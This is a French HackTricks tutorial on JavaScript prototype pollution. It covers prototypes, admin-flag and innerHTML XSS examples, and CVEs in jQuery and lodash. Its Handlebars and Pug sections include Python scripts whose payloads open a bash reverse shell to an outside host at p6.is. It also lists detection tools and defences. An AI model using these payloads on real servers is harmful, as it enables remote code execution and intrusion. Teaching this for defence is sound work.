NodeJS - __proto__ & prototype Pollution

Apprenez le piratage AWS de zéro à héros avec htARTE (Expert en équipe rouge AWS de HackTricks)!

Autres façons de soutenir HackTricks:

Objets en JavaScript

Les objets en JavaScript sont essentiellement des collections de paires clé-valeur, connues sous le nom de propriétés. Un objet peut être créé en utilisant Object.create avec null comme argument pour produire un objet vide. Cette méthode permet la création d'un objet sans aucune propriété héritée.

// Run this in the developers tools console
console.log(Object.create(null)); // This will output an empty object.

Un objet vide est similaire à un dictionnaire vide, représenté comme {}.

Fonctions et Classes en JavaScript

En JavaScript, les classes et les fonctions sont étroitement liées, les fonctions servant souvent de constructeurs pour les classes. Malgré l'absence de support natif des classes en JavaScript, les constructeurs peuvent émuler le comportement des classes.

// Run this in the developers tools console

function Employee(name, position) {
this.name = name;
this.position = position;
this.introduce = function() {
return "My name is " + this.name + " and I work as a " + this.position + ".";
}
}

Employee.prototype

var employee1 = new Employee("Generic Employee", "Developer");

employee1.__proto__

Prototypes en JavaScript

JavaScript permet la modification, l'ajout ou la suppression des attributs de prototype à l'exécution. Cette flexibilité permet l'extension dynamique des fonctionnalités de classe.

Des fonctions comme toString et valueOf peuvent être modifiées pour changer leur comportement, démontrant la nature adaptable du système de prototype de JavaScript.

Héritage

En programmation basée sur les prototypes, les propriétés/méthodes sont héritées par les objets à partir de classes. Ces classes sont créées en ajoutant des propriétés/méthodes soit à une instance d'une autre classe, soit à un objet vide.

Il convient de noter que lorsqu'une propriété est ajoutée à un objet servant de prototype pour d'autres objets (comme myPersonObj), les objets héritants ont accès à cette nouvelle propriété. Cependant, cette propriété n'est pas affichée automatiquement à moins d'être explicitement invoquée.

Pollution de __proto__

Exploration de la pollution de prototype en JavaScript

Les objets JavaScript sont définis par des paires clé-valeur et héritent du prototype d'objet JavaScript. Cela signifie que modifier le prototype d'objet peut influencer tous les objets dans l'environnement.

Utilisons un exemple différent pour illustrer :

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");

L'accès au prototype de l'objet est possible à travers :

car1.__proto__.__proto__;
Vehicle.__proto__.__proto__;

En ajoutant des propriétés au prototype de l'objet, chaque objet JavaScript héritera de ces nouvelles propriétés :

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding a method to the Object prototype
car1.__proto__.__proto__.announce = function() { console.log("Beep beep!"); };
car1.announce(); // Outputs "Beep beep!"
// Adding a property to the Object prototype
car1.__proto__.__proto__.isVehicle = true;
console.log(car1.isVehicle); // Outputs true

pollution de prototype

Pour un scénario où l'utilisation de __proto__ est restreinte, la modification du prototype d'une fonction est une alternative :

function Vehicle(model) {
this.model = model;
}
var car1 = new Vehicle("Tesla Model S");
// Adding properties to the Vehicle prototype
Vehicle.prototype.beep = function() { console.log("Beep beep!"); };
car1.beep(); // Now works and outputs "Beep beep!"
Vehicle.prototype.hasWheels = true;
console.log(car1.hasWheels); // Outputs true

// Alternate method
car1.constructor.prototype.honk = function() { console.log("Honk!"); };
car1.constructor.prototype.isElectric = true;

Cela affecte uniquement les objets créés à partir du constructeur Vehicle, leur donnant les propriétés beep, hasWheels, honk et isElectric.

Deux méthodes pour affecter globalement les objets JavaScript via la pollution de prototype incluent :

  1. Polluer directement le Object.prototype :

Object.prototype.goodbye = function() { console.log("Goodbye!"); };
  1. Polluer le prototype d'un constructeur pour une structure couramment utilisée :

var example = {"key": "value"};
example.constructor.prototype.greet = function() { console.log("Hello!"); };

Après ces opérations, chaque objet JavaScript peut exécuter les méthodes goodbye et greet.

Polluer d'autres objets

D'une classe à Object.prototype

Dans un scénario où vous pouvez polluer un objet spécifique et que vous devez accéder à Object.prototype, vous pouvez le rechercher avec un code similaire à ce qui suit :

// From https://blog.huli.tw/2022/05/02/en/intigriti-revenge-challenge-author-writeup/

// Search from "window" object
for(let key of Object.getOwnPropertyNames(window)) {
if (window[key]?.constructor.prototype === Object.prototype) {
console.log(key)
}
}

// Imagine that the original object was document.querySelector('a')
// With this code you could find some attributes to get the object "window" from that one
for(let key1 in document.querySelector('a')) {
for(let key2 in document.querySelector('a')[key1]) {
if (document.querySelector('a')[key1][key2] === window) {
console.log(key1 + "." + key2)
}
}
}

Pollution des éléments du tableau

Notez que comme vous pouvez polluer les attributs des objets en JS, si vous avez accès pour polluer un tableau, vous pouvez également polluer les valeurs du tableau accessibles par index (notez que vous ne pouvez pas écraser les valeurs, donc vous devez polluer les index qui sont d'une manière ou d'une autre utilisés mais pas écrits).

c = [1,2]
a = []
a.constructor.prototype[1] = "yolo"
b = []
b[0] //undefined
b[1] //"yolo"
c[1] // 2 -- not

Pollution des éléments Html

Lors de la génération d'un élément HTML via JS, il est possible de surcharger l'attribut innerHTML pour le faire écrire du code HTML arbitraire. Idée et exemple de cet article.

// Create element
devSettings["root"] = document.createElement('main')

// Pollute innerHTML
settings[root][innerHTML]=<"svg onload=alert(1)>"

// Pollute innerHTML of the ownerProperty to avoid overwrites of innerHTML killing the payload
settings[root][ownerDocument][body][innerHTML]="<svg onload=alert(document.domain)>"

Exemples

Exemple de base

Une pollution de prototype se produit en raison d'une faille dans l'application qui permet d'écraser les propriétés de Object.prototype. Cela signifie que puisque la plupart des objets dérivent de leurs propriétés de Object.prototype

L'exemple le plus simple est d'ajouter une valeur à un attribut non défini d'un objet qui va être vérifié, comme suit :

if (user.admin) {

Si l'attribut admin est indéfini, il est possible d'exploiter une pollution de prototype et de le définir sur True avec quelque chose comme :

Object.prototype.isAdmin = true
let user = {}
user.isAdmin // true

Le mécanisme derrière cela implique de manipuler les propriétés de telle sorte que si un attaquant a le contrôle sur certaines entrées, il peut modifier le prototype de tous les objets de l'application. Cette manipulation implique généralement de définir la propriété __proto__, qui, en JavaScript, est synonyme de modifier directement le prototype d'un objet.

Les conditions dans lesquelles cette attaque peut être exécutée avec succès, telles que décrites dans une étude spécifique, comprennent :

  • Effectuer une fusion récursive.

  • Définir des propriétés en fonction d'un chemin.

  • Cloner des objets.

Fonction de remplacement

customer.__proto__.toString = ()=>{alert("polluted")}

Pollution du prototype pour RCE

pagePrototype Pollution to RCE

Pollution du prototype côté client pour XSS

pageClient Side Prototype Pollution

CVE-2019–11358 : Attaque de pollution du prototype via jQuery $ .extend

Pour plus de détails, consultez cet article En jQuery, la fonction $ .extend peut entraîner une pollution du prototype si la fonction de copie profonde est utilisée de manière incorrecte. Cette fonction est couramment utilisée pour cloner des objets ou fusionner des propriétés à partir d'un objet par défaut. Cependant, lorsqu'elle est mal configurée, les propriétés destinées à un nouvel objet peuvent être assignées au prototype à la place. Par exemple :

$.extend(true, {}, JSON.parse('{"__proto__": {"devMode": true}}'));
console.log({}.devMode); // Outputs: true

Cette vulnérabilité, identifiée sous le nom CVE-2019-11358, illustre comment une copie profonde peut modifier involontairement le prototype, entraînant des risques potentiels en matière de sécurité, tels que l'accès administrateur non autorisé si des propriétés comme isAdmin sont vérifiées sans une vérification d'existence appropriée.

CVE-2018-3721, CVE-2019-10744 : Attaque de pollution de prototype via lodash

Pour plus de détails, consultez cet article

Lodash a rencontré des vulnérabilités similaires de pollution de prototype (CVE-2018-3721, CVE-2019-10744). Ces problèmes ont été résolus dans la version 4.17.11.

Un autre tutoriel avec des CVE

Outils pour détecter la Pollution de Prototype

  • Server-Side-Prototype-Pollution-Gadgets-Scanner : Extension de Burp Suite conçue pour détecter et analyser les vulnérabilités de pollution de prototype côté serveur dans les applications web. Cet outil automatise le processus de numérisation des requêtes pour identifier les problèmes potentiels de pollution de prototype. Il exploite des gadgets connus - des méthodes pour exploiter la pollution de prototype afin d'exécuter des actions nuisibles - en se concentrant particulièrement sur les bibliothèques Node.js.

  • server-side-prototype-pollution : Cette extension identifie les vulnérabilités de pollution de prototype côté serveur. Elle utilise des techniques décrites dans la pollution de prototype côté serveur.

Pollution de Prototype AST en NodeJS

NodeJS utilise largement les Arbres de Syntaxe Abstraite (AST) en JavaScript pour des fonctionnalités telles que les moteurs de modèles et TypeScript. Cette section explore les vulnérabilités liées à la pollution de prototype dans les moteurs de modèles, en particulier Handlebars et Pug.

Analyse de la Vulnérabilité de Handlebars

Le moteur de modèles Handlebars est susceptible à une attaque de pollution de prototype. Cette vulnérabilité provient de fonctions spécifiques dans le fichier javascript-compiler.js. Par exemple, la fonction appendContent concatène pendingContent si elle est présente, tandis que la fonction pushSource réinitialise pendingContent à undefined après avoir ajouté la source.

Processus d'Exploitation

L'exploitation tire parti de l'AST (Arbre de Syntaxe Abstraite) produit par Handlebars, en suivant ces étapes :

  1. Manipulation du Parseur : Initialement, le parseur, via le nœud NumberLiteral, impose que les valeurs soient numériques. La pollution de prototype peut contourner cela, permettant l'insertion de chaînes non numériques.

  2. Traitement par le Compilateur : Le compilateur peut traiter un objet AST ou un modèle de chaîne. Si input.type est égal à Program, l'entrée est traitée comme pré-analysée, ce qui peut être exploité.

  3. Injection de Code : En manipulant Object.prototype, on peut injecter du code arbitraire dans la fonction de modèle, ce qui peut entraîner une exécution de code à distance.

Un exemple illustrant l'exploitation de la vulnérabilité de Handlebars :

const Handlebars = require('handlebars');

Object.prototype.type = 'Program';
Object.prototype.body = [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "console.log(process.mainModule.require('child_process').execSync('id').toString())"
}],
"loc": {
"start": 0,
"end": 0
}
}];

const source = `Hello {{ msg }}`;
const template = Handlebars.precompile(source);

console.log(eval('(' + template + ')')['main'].toString());

Ce code montre comment un attaquant pourrait injecter du code arbitraire dans un modèle Handlebars.

Référence externe: Un problème lié à la pollution de prototype a été trouvé dans la bibliothèque 'flat', comme détaillé ici: Problème sur GitHub.

Référence externe: Problème lié à la pollution de prototype dans la bibliothèque 'flat'

Exemple d'exploitation de la pollution de prototype en Python:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.type": "Program",
"__proto__.body": [{
"type": "MustacheStatement",
"path": 0,
"params": [{
"type": "NumberLiteral",
"value": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}],
"loc": {
"start": 0,
"end": 0
}
}]
})

# execute
requests.get(TARGET_URL)

Vulnérabilité de Pug

Pug, un autre moteur de template, est confronté à un risque similaire de pollution de prototype. Des informations détaillées sont disponibles dans la discussion sur l'injection AST dans Pug.

Exemple de pollution de prototype dans Pug:

import requests

TARGET_URL = 'http://10.10.10.10:9090'

# make pollution
requests.post(TARGET_URL + '/vulnerable', json = {
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync(`bash -c 'bash -i >& /dev/tcp/p6.is/3333 0>&1'`)"
}
})

# execute
requests.get(TARGET_URL)

Mesures Préventives

Pour réduire le risque de pollution de prototype, les stratégies énumérées ci-dessous peuvent être mises en œuvre :

  1. Immutabilité des Objets : L'Object.prototype peut être rendu immuable en appliquant Object.freeze.

  2. Validation des Entrées : Les entrées JSON doivent être rigoureusement validées par rapport au schéma de l'application.

  3. Fonctions de Fusion Sécurisées : L'utilisation non sécurisée de fonctions de fusion récursives doit être évitée.

  4. Objets sans Prototype : Des objets sans propriétés de prototype peuvent être créés en utilisant Object.create(null).

  5. Utilisation de Map : Au lieu d'Object, Map devrait être utilisé pour stocker des paires clé-valeur.

  6. Mises à Jour des Bibliothèques : Les correctifs de sécurité peuvent être incorporés en mettant régulièrement à jour les bibliothèques.

  7. Outils de Linting et d'Analyse Statique : Utilisez des outils comme ESLint avec des plugins appropriés pour détecter et prévenir les vulnérabilités de pollution de prototype.

  8. Revues de Code : Mettez en place des revues de code approfondies pour identifier et remédier aux risques potentiels liés à la pollution de prototype.

  9. Formation en Sécurité : Sensibilisez les développeurs aux risques de pollution de prototype et aux meilleures pratiques pour écrire un code sécurisé.

  10. Utilisation Prudente des Bibliothèques : Soyez prudent lors de l'utilisation de bibliothèques tierces. Évaluez leur posture en matière de sécurité et examinez leur code, en particulier ceux qui manipulent des objets.

  11. Protection à l'Exécution : Employez des mécanismes de protection à l'exécution tels que l'utilisation de packages npm axés sur la sécurité qui peuvent détecter et prévenir les attaques de pollution de prototype.

Références

Apprenez le piratage AWS de zéro à héros avec htARTE (HackTricks AWS Red Team Expert)!

Autres façons de soutenir HackTricks :

Dernière mise à jour